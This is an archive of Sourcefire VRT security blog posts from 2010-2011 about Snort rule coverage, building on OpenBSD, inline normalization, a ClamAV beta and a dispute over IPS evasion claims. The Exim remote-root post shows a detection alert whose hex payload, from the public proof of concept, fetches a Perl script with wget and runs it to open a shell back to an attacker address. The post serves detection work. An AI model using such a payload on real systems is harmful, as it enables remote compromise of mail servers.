0x0010 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 37 20 41 .Date: Thu, 27 A
0x0020 75 67 20 32 30 30 39 20 30 37 3a 34 39 3a 33 30 ug 2009 07:49:30
0x0030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 GMT..Server: Ap
0x0040 61 63 68 65 2f 32 2e 32 2e 31 31 20 28 46 72 65 ache/2.2.11 (Fre
0x0050 65 42 53 44 29 20 6d 6f 64 5f 73 73 6c 2f 32 2e eBSD) mod_ssl/2.
0x0060 32 2e 31 31 20 4f 70 65 6e 53 53 4c 2f 30 2e 39 2.11 OpenSSL/0.9
0x0070 2e 37 65 2d 70 31 20 44 41 56 2f 32 20 50 48 50 .7e-p1 DAV/2 PHP
0x0080 2f 35 2e 32 2e 38 20 77 69 74 68 20 53 75 68 6f /5.2.8 with Suho
0x0090 73 69 6e 2d 50 61 74 63 68 0d 0a 4c 61 73 74 2d sin-Patch..Last-
0x00a0 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 Modified: Wed, 2
0x00b0 36 20 41 75 67 20 32 30 30 39 20 31 38 3a 30 39 6 Aug 2009 18:09
0x00c0 3a 34 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 :43 GMT..ETag: "
0x00d0 61 61 30 32 62 33 2d 63 37 63 34 2d 34 37 32 30 aa02b3-c7c4-4720
0x00e0 66 35 61 66 36 32 37 63 30 22 0d 0a 41 63 63 65 f5af627c0"..Acce
0x00f0 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 pt-Ranges: bytes
0x0100 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 ..Content-Length
0x0110 3a 20 35 31 31 34 30 0d 0a 43 6f 6e 74 65 6e 74 : 51140..Content
0x0120 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 -Type: applicati
0x0130 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d on/octet-stream.
0x0140 0a 0d 0a f2 2a 25 3f 37 50 e7 02 09 f5 10 cf 63 ....*%?7P......c
0x0150 47 4e 5f 2a b3 ac 05 b6 fe 42 cd fe c0 9a ec 6f GN_*.....B.....o
0x0160 bb 3c 98 d5 75 f7 6a 61 6c 30 88 6a 5c e5 20 65 .<..u.jal0.j\. e
0x0170 75 6f 51 ba 91 63 61 52 5a c8 91 cd 79 84 7e 96 uoQ..caRZ...y.~.
0x0180 96 58 e1 3e 20 f8 04 12 82 61 59 1e b6 18 d1 9b .X.> ....aY.....
0x0190 56 3b f3 e7 5b bb 12 66 10 19 92 8e f8 e1 d0 ea V;..[..f........
0x01a0 42 77 fd 8e a7 4e 0e 1f fa 83 32 f6 df 9c 91 79 Bw...N....2....y

[NORMALIZED/GZIP BUFFER DATA] (IDENTICAL TO RAW BUF)

[HTTP_HEADER BUFFER DATA (0x8b24b00)]:

0x0000 44 61 74 65 3a 20 54 68 75 2c 20 32 37 20 41 75 Date: Thu, 27 Au
0x0010 67 20 32 30 30 39 20 30 37 3a 34 39 3a 33 30 20 g 2009 07:49:30
0x0020 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 GMT..Server: Apa
0x0030 63 68 65 2f 32 2e 32 2e 31 31 20 28 46 72 65 65 che/2.2.11 (Free
0x0040 42 53 44 29 20 6d 6f 64 5f 73 73 6c 2f 32 2e 32 BSD) mod_ssl/2.2
0x0050 2e 31 31 20 4f 70 65 6e 53 53 4c 2f 30 2e 39 2e .11 OpenSSL/0.9.
0x0060 37 65 2d 70 31 20 44 41 56 2f 32 20 50 48 50 2f 7e-p1 DAV/2 PHP/
0x0070 35 2e 32 2e 38 20 77 69 74 68 20 53 75 68 6f 73 5.2.8 with Suhos
0x0080 69 6e 2d 50 61 74 63 68 0d 0a 4c 61 73 74 2d 4d in-Patch..Last-M
0x0090 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 36 odified: Wed, 26
0x00a0 20 41 75 67 20 32 30 30 39 20 31 38 3a 30 39 3a Aug 2009 18:09:
0x00b0 34 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 61 43 GMT..ETag: "a
0x00c0 61 30 32 62 33 2d 63 37 63 34 2d 34 37 32 30 66 a02b3-c7c4-4720f
0x00d0 35 61 66 36 32 37 63 30 22 0d 0a 41 63 63 65 70 5af627c0"..Accep
0x00e0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d t-Ranges: bytes.
0x00f0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a .Content-Length:
0x0100 20 35 31 31 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 51140..Content-
0x0110 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f Type: applicatio
0x0120 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a n/octet-stream..
0x0130 0d 0a

[HTTP_HEADER_RAW BUFFER DATA (0xacc1ff1)]:
0x0000 44 61 74 65 3a 20 54 68 75 2c 20 32 37 20 41 75 Date: Thu, 27 Au
0x0010 67 20 32 30 30 39 20 30 37 3a 34 39 3a 33 30 20 g 2009 07:49:30
0x0020 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 GMT..Server: Apa
0x0030 63 68 65 2f 32 2e 32 2e 31 31 20 28 46 72 65 65 che/2.2.11 (Free
0x0040 42 53 44 29 20 6d 6f 64 5f 73 73 6c 2f 32 2e 32 BSD) mod_ssl/2.2
0x0050 2e 31 31 20 4f 70 65 6e 53 53 4c 2f 30 2e 39 2e .11 OpenSSL/0.9.
0x0060 37 65 2d 70 31 20 44 41 56 2f 32 20 50 48 50 2f 7e-p1 DAV/2 PHP/
0x0070 35 2e 32 2e 38 20 77 69 74 68 20 53 75 68 6f 73 5.2.8 with Suhos
0x0080 69 6e 2d 50 61 74 63 68 0d 0a 4c 61 73 74 2d 4d in-Patch..Last-M
0x0090 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 36 odified: Wed, 26
0x00a0 20 41 75 67 20 32 30 30 39 20 31 38 3a 30 39 3a Aug 2009 18:09:
0x00b0 34 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 61 43 GMT..ETag: "a
0x00c0 61 30 32 62 33 2d 63 37 63 34 2d 34 37 32 30 66 a02b3-c7c4-4720f
0x00d0 35 61 66 36 32 37 63 30 22 0d 0a 41 63 63 65 70 5af627c0"..Accep
0x00e0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d t-Ranges: bytes.
0x00f0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a .Content-Length:
0x0100 20 35 31 31 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 51140..Content-
0x0110 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f Type: applicatio
0x0120 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a n/octet-stream..
0x0130 0d 0a ..

[HTTP_STAT_CODE BUFFER DATA (0xacc1fe9)]:
0x0000 32 30 30 200

[HTTP_STAT_MSG BUFFER DATA (0xacc1fed)]:
0x0000 4f 4b 0d 0a OK..

********** END PACKET **********

I have some things left to do on this. For example, raw buffers that are the same as their normalized buffers don't need to be printed. As we update things, we'll announce on @VRT_Sourcefire and @kpyke. Let us know how you're using this or if you notice any bugs at research@sourcefire.com.

New feed and new location for the blog

2011-01-10T12:30:00.000-05:00

We have a new URI for the blog, you can now find it at http://vrt-blog.snort.org/. In a few days, so as not to confuse everyone, we'll be changing the feedburner address that allows you to get the blog feed in a reader. The new link will be http://vrt-blog.snort.org/feeds/posts/default?alt=rss

You can of course, still access the content via blogger as normal.

(Successfully) Building Shared Object Rules (and Snort) under OpenBSD

2011-01-03T13:54:00.028-05:00

Here at the VRT, we have been adding support for more platforms and operating systems for shared object rules in the VRT Certified rule packs. Recently we started work on building shared object rules for Snort under OpenBSD. We ran into problems. After careful investigation, I have found the cause of the problem and can now present a fix for it. The following has been successfully tested under OpenBSD 4.8 on the amd64 platform.

The issue stems from a consequence that occurs when attempting to build a shared object which links to a static library. In this case, the static library is libdnet, which will not properly create a shared library on OpenBSD with its default configuration (if you did ./configure && make && make install, you have this problem). This prevents the dynamic library for lib_sfengine from being built, which the so rules in turn rely on. Fortunately, the fix is pretty easy.

Libdnet must be rebuilt, using the following configure line:

./configure --with-gnu-ld --enable-shared

After libdnet is rebuilt, you must then create a symlink between the shared file and the name which snort expects as follows, and rebuild the library cache:

ln -s /usr/local/lib/libdnet.1.1 /usr/local/lib/libdnet.so
ldconfig -R /usr/local/lib

Once this has been completed, configure and make snort and the so rules just as you normally would. However, if you have any further issues, adding the following flags to the snort configure command should take care of them:

--disable-static-daq --with-dnet-includes=/usr/local/include --with-dnet-libraries=/usr/local/lib

The final, related quirk, is that the .so links are not created for each of the .so.0.0 libraries created for either the engine, or the preprocessor. You will want to run the following two commands to take care of that after installing:

perl -e 'for(@ARGV){$nf = $_ ; $nf =~ s/\.0\.0//; link($_,$nf)}' /usr/local/lib/snort_dynamicengine/*

perl -e 'for(@ARGV){$nf = $_ ; $nf =~ s/\.0\.0//; link($_,$nf)}' /usr/local/lib/snort_dynamicpreprocessor/*

After this, you should be good to go.

We will have pre-compiled shared object rules for OpenBSD coming to a rule pack near you in the not too distant future.

'Tis the Season for 0-days

2010-12-23T12:38:00.002-05:00

Hello, all! This is just a quick note that Microsoft has released a bulletin regarding a new 0-day in Internet Explorer versions 7 and 8. You can read all about it in their advisory at http://www.microsoft.com/technet/security/advisory/2488013.mspx as well as the reference for the CVE, 2010-3971. We have previously released coverage for this vulnerability in sids 18196 and 18240. Because we released coverage before Microsoft posted their bulletin or a CVE had been assigned, these rules do not have those references. We will release updated rules with the new references after the holidays.

In addition to the above CSS issue, two other 0-days have been making the rounds lately that I wanted to call attention to -- a vulnerable Active-X control that allows remote code execution that we defend against with sids 18241 and 18242 and a vulnerability in the Windows 7 IIS7.5 FTP server that we defend against with sid 18243. The FTP vulnerability does not require authentication and has the potential for remote code execution, so be sure to defend your servers and/or disable FTP if you're not using it. Neither of these vulnerabilities have in-depth bulletins written about them, just exploit code that is openly available online.

ClamAV 3.0 for Windows Open Beta

2010-12-20T15:24:00.003-05:00

The public beta for ClamAV for Windows 3.0, which includes full integration of the ClamAV engine into the Immunet Protect product is now open. If you are interested in playing with ClamAV for Windows 3.0 please check out the following link:

Beta Announcement

The download links for the binaries are here:
(32 Bit) - Download
(64 Bit) - Download

Main feature overview:

* ClamAV 0.96.5 libraries for real-time scanning and offline scanning
* Customizable signatures support and signature creation UI
* Wildcard exclusions - specifically so we can exclude Thunderbird's %TEMP%\nsmail*.tmp
* Unicode bug fixes
* Bug fix for user's getting in a disconnected state

A few things to remember

Because this is a Beta 1:

* It is strongly recommended that you test on a VM
* See Bugzilla and Immunet Forums for any additional known defects.

Things to try out:
1. The SigUI - This allows you to create your own ClamAV signatures and load them into the engine. Its both a GUI, and a command line tool. Documentation is available here
2. Writing ClamAV sigs doc is here
3. False positives on installed applications or new applications

Reporting bugs :

Please report bugs at Bugzilla. Remember to attach a run of the System Diag Tool to help speed up fixing the problem. (its located in the Program Folder for ClamAV for Windows). It drops a zip file on the desktop.

Known issues:
1. Binaries are still labeled 2.0
2. Scan history screen contains duplicate entries.

Exim Remote Root

2010-12-14T10:37:00.001-05:00

We've heard from a number of Sourcefire customers and open-source Snort users lately, asking us whether we'll be releasing coverage for last week's Exim remote root (CVE-2010-4344 for those keeping score at home). Based on what hit the Exim-dev mailing list, we felt confident that the SMTP preprocessor would catch the vulnerability; after testing with the proof-of-concept sent to the Full-Disclosure mailing list on Saturday, we've confirmed that SID 124:2:1 does the job nicely:

# ~/snort-2.9.0$ src/snort -c etc/snort.2900.conf -q -A cmg -r ~/pcaps/cve-2010-4344-full-disclosure.pcap
12/14-09:15:37.145472  [**] [124:2:1] (smtp) Attempted data header buffer overflow: 2896 chars [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 10.1.11.11:35781 -> 10.1.11.111:25
Stream reassembled packet
12/14-09:15:37.145472 00:0D:57:C7:22:C7 -> A4:BA:DC:19:DD:5F type:0x800 len:0xB92
10.1.11.11:35781 -> 10.1.11.111:25 TCP TTL:64 TOS:0x0 ID:47277 IpLen:20 DgmLen:2948 DF
***A**** Seq: 0xAFFD7BE6  Ack: 0x16168E70  Win: 0x7140  TcpLen: 32
20 2F 74 6D 70 2F 63 2E 70 6C 20 31 30 2E 31 2E   /tmp/c.pl 10.1.
31 31 2E 31 31 20 34 34 34 34 3B 27 7D 7D 20 24  11.11 4444;'}} $
7B 72 75 6E 7B 2F 62 69 6E 2F 73 68 20 2D 63 20  {run{/bin/sh -c
27 77 67 65 74 20 68 74 74 70 3A 2F 2F 77 77 77  'wget http://www
2E 65 78 61 6D 70 6C 65 2E 63 6F 6D 2F 73 68 65  .example.com/she
6C 6C 2E 74 78 74 20 2D 4F 20 2F 74 6D 70 2F 63  ll.txt -O /tmp/c
2E 70 6C 3B 70 65 72 6C 20 2F 74 6D 70 2F 63 2E  .pl;perl /tmp/c.
70 6C 20 31 30 2E 31 2E 31 31 2E 31 31 20 34 34  pl 10.1.11.11 44
34 34 3B 27 7D 7D 20 24 7B 72 75 6E 7B 2F 62 69  44;'}} ${run{/bi
...

No configuration is necessary; the default settings for the SMTP preprocessor will work here. For anyone who may have tweaked their config, ensure that the max_header_line_len is set to 2000 bytes or less (a reasonable value for all but the most unique of environments; the default value is 1000 bytes).

Detecting Obfuscated Malicious JavaScript with Snort and Razorback

2010-12-03T13:02:00.000-05:00

Unlike most Americans, who were busy recovering from a turkey-induced coma, I spent this past weekend at the Hackers 2 Hackers Conference in Sao Paulo, Brazil. In addition to being a nice respite from the cold weather in DC, the event featured excellent speakers on topics as diverse as PDF analysis and fresh memory exploitation techniques.

One of those talks was my own, "Detecting Obfuscated Malicious JavaScript with Snort and Razorback" (PDF of slides). Given the quality of the other presentations, I doubted my work would attract much attention; however, if the number of people who've contacted me since my talk are any indication, I must have done something right.

In a nutshell, the concept that came out of my talk revolves around language-based anomaly detection. A trained analyst or JavaScript programmer has no problem looking at most malicious code and seeing it as such right away; the goal, then, is to be able to teach the computer to do the same, in the form of a Razorback module. While there's plenty to be done to make a usable detection nugget - including considering some of the excellent suggestions I've received from those who saw me speak - thus far the concept has proven itself useful enough to at least warrant further development.

That said, I'd love to get feedback from the broader community on this idea. Please take a look at my slides, and if you have any suggestions, questions, etc., post them below or email me directly at alex kirk sourcefire com. I hope to have functioning source code online at http://labs.snort.org/razorback/ by the end of 2010.

Inline Normalization with Snort 2.9.0

2010-11-15T13:18:00.000-05:00

Snort 2.9.0 can take a more active role in securing your network in inline deployments by normalizing packets and streams to minimize the chance that Snort incorrectly models end systems.

To accomplish this, a new preprocessor was added. You must configure with this option to build it:

./configure --enable-normalizer

Then you can update your snort.conf as follows:

config min_ttl: <ttl>
config new_ttl: <ttl>

preprocessor normalize_ip4: [df], [rf]
preprocessor normalize_icmp4
preprocessor normalize_ip6
preprocessor normalize_icmp6
preprocessor normalize_tcp: \
[ips] [urp] \
[ecn <ecn_type> \
[opts [allow <allowed_opt>+]]

For details on these normalizations, see README.normalize. We will see the ttl and ips normalizations in action below.

Demo Setup

You can run these tests in readback mode using the dump DAQ or in playback mode using tcpreplay and an inline sensor. Using a sensor is the ultimate but you may find the dump DAQ to be indispensable for pcap testing.

Either way, we will run the tests twice, once in IDS mode and again in IPS mode. This will allow us to compare the results.

To run these tests you will need the this tarball: http://labs.snort.org/files/normalize.tgz.

For readback mode you will need:

A system with the latest Snort and DAQ binaries. Install the tarball from this post there.

cd into the Sensor directory and edit config.sh to set SNORT appropriately.

When you run the tests with ./readback.sh, inline-out.pcap will be created which you can examine with wireshark. These files will have all packets as they would appear on the wire exiting Snort.

For playback mode you will need:

A source / attack system with the Source/ directory from the tarball. This system also needs tcpreplay.
An inline Snort sensor with the Sensor/ directory from the tarball. This system also needs the latest Snort and DAQ binaries.
A sink / target system with the Sink/ directory from the tarball. This system also needs tcpdump.

Patch your Source and Sink to opposite sides of the inline pair on your Sensor and edit config.sh on each system to configure the PORT_* variables. On your sensor, you will also need to indicate where your Snort and any dynamic DAQ modules are installed. (If you built static DAQs the latter is not required.) You can add any extra options for Snort to SNORT.

+--------+       +--------+       +------+
| Source |S-----A| Sensor |B-----R| Sink |
+--------+       +--------+       +------+

The inline.sh script on the sensor will use the afpacket DAQ because it requires minimal external configuration. If you want to use a different DAQ, you must change this script and configure your system accordingly. Fore more on the DAQ, see this post.

NOTE: For these tests we are using canned traffic that is replayed from a packet capture file (PCAP file). For the stream tests, both ends of the traffic will be sent from the same point. Although that would not be the case for an inline sensor with live traffic, Snort will still see the traffic in the same relative order it would see live traffic.

Packet Normalization

This test will demonstrate how packets can be modified to meet the needs of a
secure network. By ensuring that the time-to-live (TTL) field has a suitable
value, it is less likely that a packet will be dropped by the network after
being processed by Snort. This enables Snort to more accurately model the
receiving host system and prevents wasting time on detection of packets that
won't reach their destination. Note that for IP6 the situation is essentially
the same, except the equivalent field is called “hop limit”.

TTL normalization pertains to both IP4 TTL (time-to-live) and IP6 (hop limit)
and is only performed if both the relevant protocol normalization is enabled
and the minimum and new TTL values are configured, as follows:

preprocessor normalize_ip4
preprocessor normalize_ip6

config min_ttl: 5
config new_ttl: 8

If a packet is received with a TTL < 5, the TTL will be set to 8. Since we enabled IP6 normalization, the same applies to hop limits.

Readback

From Sensor/ run ./readback.sh ttl_i?s.conf ../Source/ttl.pcap.

Playback

On the sensor, run ./inline.sh ttl_i?s.conf.
On the sink, run ../recv.sh.
On the source, run ./send.sh ttl.pcap.
Type Ctl-C on the sensor and sink to terminate.

The results for ttl_ids.conf are:

16:21:10.133823 10.1.2.3.48620 > 10.9.8.7.8: [udp sum ok] udp 16 (ttl 6, id 1, len 44)
0x0000   4500 002c 0001 0000 0611 96ad 0a01 0203        E..,............
0x0010   0a09 0807 bdec 0008 0018 97a3 4352 4f57        ............CROW
0x0020   443a 2020 4120 7769 7463 6821 0000             D:..A.witch!..

16:21:10.133824 10.1.2.3.48620 > 10.9.8.7.8: [udp sum ok] udp 16 (ttl 5, id 2, len 44)
0x0000   4500 002c 0002 0000 0511 97ac 0a01 0203        E..,............
0x0010   0a09 0807 bdec 0008 0018 95dd 2020 4120        ..............A.
0x0020   7769 7463 6821 2020 4120 7769 0000             witch!..A.wi..

16:21:10.133826 10.1.2.3.48620 > 10.9.8.7.8: [udp sum ok] udp 16 (ttl 4, id 3, len 44)
0x0000   4500 002c 0003 0000 0411 98ab 0a01 0203        E..,............
0x0010   0a09 0807 bdec 0008 0018 6785 7463 6821        ..........g.tch!
0x0020   2020 5765 2776 6520 676f 7420 0000             ..We've.got...

The results for ttl_ips.conf are:

0x0000   4500 002c 0001 0000 0611 96ad 0a01 0203        E..,............
0x0010   0a09 0807 bdec 0008 0018 97a3 4352 4f57        ............CROW
0x0020   443a 2020 4120 7769 7463 6821 0000             D:..A.witch!..

16:09:56.871043 10.1.2.3.48620 > 10.9.8.7.8: [udp sum ok] udp 16 (ttl 5, id 2, len 44)
0x0000   4500 002c 0002 0000 0511 97ac 0a01 0203        E..,............
0x0010   0a09 0807 bdec 0008 0018 95dd 2020 4120        ..............A.
0x0020   7769 7463 6821 2020 4120 7769 0000             witch!..A.wi..

16:09:56.871044 10.1.2.3.48620 > 10.9.8.7.8: [udp sum ok] udp 16 (ttl 8, id 3, len 44)
0x0000   4500 002c 0003 0000 0811 94ab 0a01 0203        E..,............
0x0010   0a09 0807 bdec 0008 0018 6785 7463 6821        ..........g.tch!
0x0020   2020 5765 2776 6520 676f 7420 0000             ..We've.got...

In this case you see that the TTL of the third packet was changed from 4 to 8. Since the minimum allowed TTL was configured to 5, there was no change to the first two packets.

Packet I/O Totals:
Received:           57 
Analyzed:            3 (  5.263%)
Filtered:           54 ( 94.737%)

Verdicts:
Allow:            2 (  3.509%)
Replace:            1 (  1.754%)

Normalizer statistics:
ip4::ttl: 1

The ids counts above show 3 analyzed, 2 allowed, and 1 replaced, which is the packet counted under normalizer statistics.

Stream Normalization

This test demonstrates how TCP payload data can be normalized to ensure consistency with retransmitted data. By doing so, Snort is better protected against the vagaries of host dependent TCP reassembly procedures and is less likely to be evaded by such scenarios.

TCP normalizations are enabled with:

preprocessor normalize_tcp: ips

This will ensure consistency in retransmitted data. Any segments overlapping with previously received segments will have the overlaps overwritten to contain the data first received.

Readback

From Sensor/ run ./readback.sh tcp_i?s.conf ../Source/tcp.pcap.

Playback

On the sensor, run ./inline.sh tcp_i?s.conf.
On the sink, run ../recv.sh.
On the source, run ./send.sh tcp.pcap.
Type Ctl-C on the sensor and sink to terminate.

The results for tcp_ids.conf are (we are looking at packets 4 and 5, which have payload):

16:24:05.877457 10.1.2.3.48620 > 10.9.8.7.8: . [tcp sum ok] 1:11(10) ack 1 win 256 (ttl 64, id 4, len 50)
0x0000   4500 0032 0004 0000 4006 5caf 0a01 0203        E..2....@.\.....
0x0010   0a09 0807 bdec 0008 0000 0002 0000 0002        ................
0x0020   5010 0100 ed1f 0000 7365 676d 656e 743d        P.......segment=
0x0030   3120                                           1.

16:24:05.877458 10.1.2.3.48620 > 10.9.8.7.8: . [tcp sum ok] 6:16(10) ack 1 win 256 (ttl 64, id 5, len 50)
0x0000   4500 0032 0005 0000 4006 5cae 0a01 0203        E..2....@.\.....
0x0010   0a09 0807 bdec 0008 0000 0007 0000 0002        ................
0x0020   5010 0100 26fc 0000 5858 5858 5873 6567        P...&...XXXXXseg
0x0030   3d32                                           =2

The results for tcp_ips.conf are:

16:14:12.402351 10.1.2.3.48620 > 10.9.8.7.8: . [tcp sum ok] 1:11(10) ack 1 win 256 (ttl
64, id 4, len 50)
0x0000 4500 0032 0004 0000 4006 5caf 0a01 0203 E..2....@.\.....
0x0010 0a09 0807 bdec 0008 0000 0002 0000 0002 ................
0x0020 5010 0100 ed1f 0000 7365 676d 656e 743d P.......segment=
0x0030 3120 1.

16:14:12.402352 10.1.2.3.48620 > 10.9.8.7.8: . [tcp sum ok] 6:16(10) ack 1 win 256 (ttl
64, id 5, len 50)
0x0000 4500 0032 0005 0000 4006 5cae 0a01 0203 E..2....@.\.....
0x0010 0a09 0807 bdec 0008 0000 0007 0000 0002 ................
0x0020 5010 0100 6407 0000 6e74 3d31 2073 6567 P...d...nt=1.seg
0x0030 3d32 =2

In this session, the client sends this 10 octet payload “segment=1 “ starting at relative sequence number 1, and then sends this 10 octet payload “XXXXXseg=2” starting at relative sequence number 6. Without stream normalization, payload at sequences 6 through 10 would be delivered to the server twice, first as “nt=1 “ and then as “XXXXX”. The actual data delivered to the application would then depend on the server's TCP reassembly policy, which is implementation specific.

With stream normalization enabled, the payload at sequences 6 through 10 is the same in both packets. In other words, the server receives this 10 octet payload “segment=1 “ starting at relative sequence number 1 and then receives this 10 octet payload “nt=1 seg=2” starting at relative sequence number 6. Regardless of implementation, there is only one way to reassemble this stream.

Verdicts:
Allow:            7 ( 43.750%)
Block:            0 (  0.000%)
Replace:            1 (  6.250%)

The counts show that there was one packet changed in the ips case.

Closing

There are several other normalizations available, especially for TCP. For more information, see README.normalize or the Snort manual. Stay tuned for additional posts covering additional features of Snort 2.9.0.

Rule release for today, Tuesday November 9th, 2010

2010-11-09T13:45:00.000-05:00

Microsoft Security Advisory MS10-087:
Microsoft Office contains programming errors that may allow a remote attacker to execute code on an affected system.

Microsoft Security Advisory MS10-088:
Microsoft Office PowerPoint contains programming errors that may allow a remote attacker to execute code on an affected system.

Microsoft Security Advisory MS10-089:
Microsoft ForeFront United Gateway contains programming errors that may allow a remote attacker to execute code on an affected system.

Check out the advisory and change logs here: http://www.snort.org/vrt/advisories/2010/11/09/vrt-rules-2010-11-09.html

Rule Release for Today, Thursday October 28th, 2010

2010-10-28T16:11:00.000-04:00

Adobe Shockwave Player vulnerability, see more here: http://www.snort.org/vrt/advisories/2010/10/28/vrt-rules-2010-10-28.html

Rule Release for Today, Tuesday October 26th, 2010

2010-10-26T17:30:00.000-04:00

Vulnerabilities in Adobe Shockwave Director and Mozilla Firefox. More details here: http://www.snort.org/vrt/advisories/2010/10/26/vrt-rules-2010-10-26.html

Some Facts About Advanced Evasion Techniques

2010-10-22T17:06:00.001-04:00

Chances are you've heard the recent "news" about Advanced Evasion Techniques (AETs) from Finnish IPS vendor Stonesoft. Originally announced in an October 4 press release, the good folks at Stonesoft reported the IDS/IPS evasion techniques mentioned in their release to CERT-FI, which promptly issued a public statement. CERT-FI also gave Sourcefire full details on the evasion techniques, allowing us to evaluate their impact on Snort and the Sourcefire 3D system.

Per our standard vulnerability handling guidelines, Sourcefire is awaiting CERT-FI's release of details to the public - currently planned for November 23 - before discussing the technical nitty-gritty with the world at large. Having conducted in-house testing with the data provided to CERT-FI by Stonesoft, we've found that Snort handles all of the reported AETs nicely, and absent any evidence that large-scale attacks using these techniques are underway, we're toeing the responsible disclosure line and giving other vendors a chance to assess and update their products as necessary.

Stonesoft, meanwhile, apparently decided to shift gears out of responsible disclosure mode. While their first release generated some local press in Finland, the issue was largely under the international radar, as you would expect for an unverified set of evasions that were currently under investigation by the vendors in question. This past Monday, they issued a second press release. Put out in conjunction with a press release from ICSA Labs which purported to confirm Stonesoft's AET findings, the issue suddenly sprung to international prominence, with a number of articles heralding the end of IDS/IPS systems' ability to detect even the most mundane attacks. At the same time as this second release, Stonesoft also erected www.antievasion.com, a site full of pretty graphics and hype about AETs.

The mere existence of this site and the issuance of the second release, of course, is not enough to call them out as having moved away from responsible disclosure; it's the messages contained in those publications that's what does it. In their second press release, Stonesoft included a section titled "Best Defense Against AETs", which suggested the use of "flexible, software-based security systems ... such as the Stonesoft StoneGate network security solution", as opposed to the "static hardware-based solutions" that "most organizations today" use. This clear ploy to drive sales uses an extremely thinly veiled half-truth to sow FUD: while all of the major IDS/IPS vendors (Sourcefire, McAfee, TippingPoint, IBM/ISS, etc.) offer custom hardware platforms as part of their solution, the underlying engines of all of those systems are software-driven, and are updated on a regular basis (typically multiple times per week, if you count detection updates). To suggest, as Stonesoft's first release did, that AETs of any sort will require "extensive renewal of [organizations'] security systems" is to skate on very thin factual ice.

Half-truths like this are one thing; the outright lies on their Anti-Evasion web site are another. In the FAQ published there, they claim that "Stonesoft offers the most complete protection against AETs available on the market today". This claim comes despite one of the few well-established facts surrounding the AET mess: Stonesoft failed the evasions portion of the NSS Labs test in 2009. Sorry, you don't get to claim that you're the experts on IDS/IPS evasion if your product isn't up to the task of dealing with well-known, publicly available evasions used in the NSS test.

Just so you don't think we're throwing stones in a glass house, let me take a moment to point out Sourcefire's track record of dealing with IDS/IPS evasion. Not only were we one of three vendors to pass the 2009 NSS Labs evasions test; we have a long track record of publishing expert research in the field. Snort team lead Steve Sturges and (former) VRT senior researcher Judy Novak published an oft-cited paper entitled "Target-Based TCP Timestamp Stream Reassembly" in 2007; Ms. Novak also released "Target-Based Fragmentation Reassembly" in 2005. Brian Caswell, who literally worked in Sourcefire founder Marty Roesch's living room in the original days of Sourcefire, collaborated with H.D. Moore of Metasploit fame on the 2006 paper "Thermoptic Camouflage: Total IDS Evasion". The primary author of Snort's http_inspect module, Dan Roelker, wrote "HTTP IDS Evasions Revisited" way back in 2003. Sourcefire employees and Snort contributors have long been among the world's leading experts in IDS/IPS evasions.

Of course, anyone with a well-developed sense of cynicism - i.e. the entire network security industry - is likely to take anything Sourcefire says about Stonesoft with a grain of salt. After all, why believe one industry player's version of things over another? To that end, I'd like to finish up this post by pointing you to a very interesting article released Wednesday by Bob Walder - founder and former CEO of NSS Labs - about the AET issue. Having reviewed Stonesoft's AETs, he concludes that they are a re-hashing of well-known evasion techniques that have been standard in the IDS/IPS industry for the last 7+ years. While Mr. Walder is also toeing the responsible disclosure line, in that he gives no specifics, his credibility as an independent evaluator of network security products is rock-solid, and should carry a lot more weight than anything Sourcefire says.

Rule Release for Today, Tuesday October 12th, 2010

2010-10-12T13:01:00.000-04:00

Big day for Microsoft patches today. Lots of rules to accompany it.

Release notes here: http://www.snort.org/vrt/advisories/2010/10/12/vrt-rules-2010-10-12.html

Read them here too:

Microsoft Security Advisory MS10-070:
The Microsoft .NET Framework discloses enough information in error responses that an attacker is able to decrypt and modify encrypted data.

Previously released rules to detect attacks targeting this vulnerability have been updated with the appropriate reference and are identified with GID 3, SIDs 17428 and 17429.

Microsoft Security Advisory MS10-071:
Microsoft Internet Explorer contains programming errors that may allow a remote attacker to execute code on an affected system.

Rules to detect attacks targeting these vulnerabilities are included in this release and are identified with GID 3, SIDs 17766 through 17774

Microsoft Security Advisory MS10-072:
Microsoft Internet Explorer contains a programming error that may allow a remote attacker to perform a cross-site scripting attack against an affected system.

Rules to detect attacks targeting this vulnerability are included in this release and are identified with GID 3, SIDs 17766 and 17767.

Microsoft Security Advisory MS10-075:
Microsoft Windows Media Player contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17753.

Microsoft Security Advisory MS10-076:
Microsoft Internet Explorer contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17747.

Microsoft Security Advisory MS10-078:
The Microsoft implementation for parsing OpenType fonts contains a programming error that may allow a remote attacker to execute code on an affected system.

Rules to detect attacks targeting this vulnerability are included in this release and are identified with GID 3, SIDs 17752 and 17765.

Microsoft Security Advisory MS10-079:
Microsoft Word contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17756.

Microsoft Security Advisory MS10-080:
Microsoft Excel contains programming errors that may allow a remote attacker to execute code on an affected system.

